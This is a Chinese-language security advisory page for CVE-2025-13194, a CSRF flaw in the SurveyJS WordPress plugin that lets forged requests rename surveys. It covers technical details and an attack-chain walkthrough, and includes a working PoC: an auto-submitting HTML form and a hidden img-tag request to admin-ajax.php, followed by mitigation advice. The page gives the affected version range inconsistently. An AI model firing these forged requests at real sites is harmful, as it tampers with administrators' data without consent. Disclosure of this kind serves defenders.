IPBUF安全漏洞报告
English
CVE-2025-13194 CVSS 4.3 中危

CVE-2025-13194 SurveyJS WordPress插件CSRF漏洞可重命名调查问卷

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-13194
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SurveyJS WordPress Form Builder插件

相关标签

跨站请求伪造CSRFWordPress插件漏洞SurveyJSAJAX安全nonce验证缺失中等严重度

漏洞概述

CVE-2025-13194是WordPress平台SurveyJS插件中的一个跨站请求伪造(CSRF)安全漏洞。该插件是一款用于创建、样式设计和嵌入多种复杂表单的拖拽式WordPress表单构建器。漏洞存在于插件的AJAX处理功能中,具体是SurveyJS_RenameSurvey操作缺少必要的nonce验证机制。由于缺乏CSRF令牌验证,攻击者可以构造恶意请求,诱骗已登录的网站管理员在不知情的情况下执行重命名调查问卷的操作。攻击成功的前提是管理员被诱导点击恶意链接或访问包含攻击代码的网页。此漏洞影响插件2.5.2及以下所有版本,CVSS评分为4.3,属于中等严重程度。虽然该漏洞不会直接导致敏感数据泄露或服务器被入侵,但攻击者可以通过重命名调查问卷来干扰网站正常运营,或进行进一步的社会工程学攻击。建议网站管理员尽快更新到插件最新版本,并采取相应的CSRF防护措施。

技术细节

该CSRF漏洞源于SurveyJS插件在处理SurveyJS_RenameSurvey AJAX请求时未实施足够的防护措施。具体问题在于:1) 缺少nonce令牌验证:插件未验证请求是否来自合法的管理员操作,攻击者可以伪造请求;2) 缺乏CSRF token:未使用WordPress的wp_verify_nonce函数进行请求来源验证;3) 操作权限检查不足:虽然重命名操作应该是管理员权限,但缺少对请求来源的验证。攻击者可以构造如下攻击场景:创建一个包含自动提交表单的HTML页面,或在图片标签、JavaScript等载体中嵌入恶意请求。当管理员访问该页面或点击恶意链接时,浏览器会自动向目标网站发送已认证的请求(携带管理员的cookies),服务器因缺少验证而执行重命名操作。漏洞代码位于ajax_handlers/rename_survey.php文件中,该文件在处理重命名请求时直接使用用户提供的参数而未进行安全校验。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者收集目标网站信息,确认安装了SurveyJS WordPress插件,并识别目标网站的域名和调查问卷ID
STEP 2
步骤2: 构造恶意页面
攻击者创建包含CSRF payload的HTML页面,使用自动提交表单或隐藏的图片标签构造重命名调查问卷的请求
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或其他方式诱骗网站管理员访问恶意页面或点击包含CSRF payload的链接
STEP 4
步骤4: 执行伪造请求
管理员浏览器自动发送携带其认证cookies的请求到目标网站的admin-ajax.php端点
STEP 5
步骤5: 漏洞利用
服务器端插件缺少nonce验证,接受并执行重命名操作,将指定调查问卷的名称修改为攻击者指定的内容
STEP 6
步骤6: 攻击完成
攻击者成功修改调查问卷名称,可能用于进一步的社会工程攻击或干扰网站正常运营

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-13194 - Rename Survey --> <html> <body> <h1>CVE-2025-13194 CSRF Attack PoC</h1> <p>Click the button below to rename the target survey</p> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="SurveyJS_RenameSurvey"> <input type="hidden" name="newName" value="Hacked Survey"> <input type="hidden" name="surveyId" value="1"> <input type="submit" value="Submit Request"> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- Alternative: Image tag based CSRF (no user interaction) --> <img src="http://target-site.com/wp-admin/admin-ajax.php?action=SurveyJS_RenameSurvey&newName=HackedSurvey&surveyId=1" width="0" height="0" border="0">

影响范围

SurveyJS WordPress Form Builder插件 < 2.5.2

防御指南

临时缓解措施
作为临时缓解措施,可以采取以下行动:1) 暂时禁用或限制SurveyJS插件的使用;2) 启用WordPress的CSRF保护插件;3) 对管理员进行安全培训,提醒不要点击未知链接;4) 监控AJAX请求日志,及时发现异常操作;5) 考虑使用Web应用防火墙(WAF)规则拦截可疑请求。在等待官方修复期间,应密切关注插件更新并及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表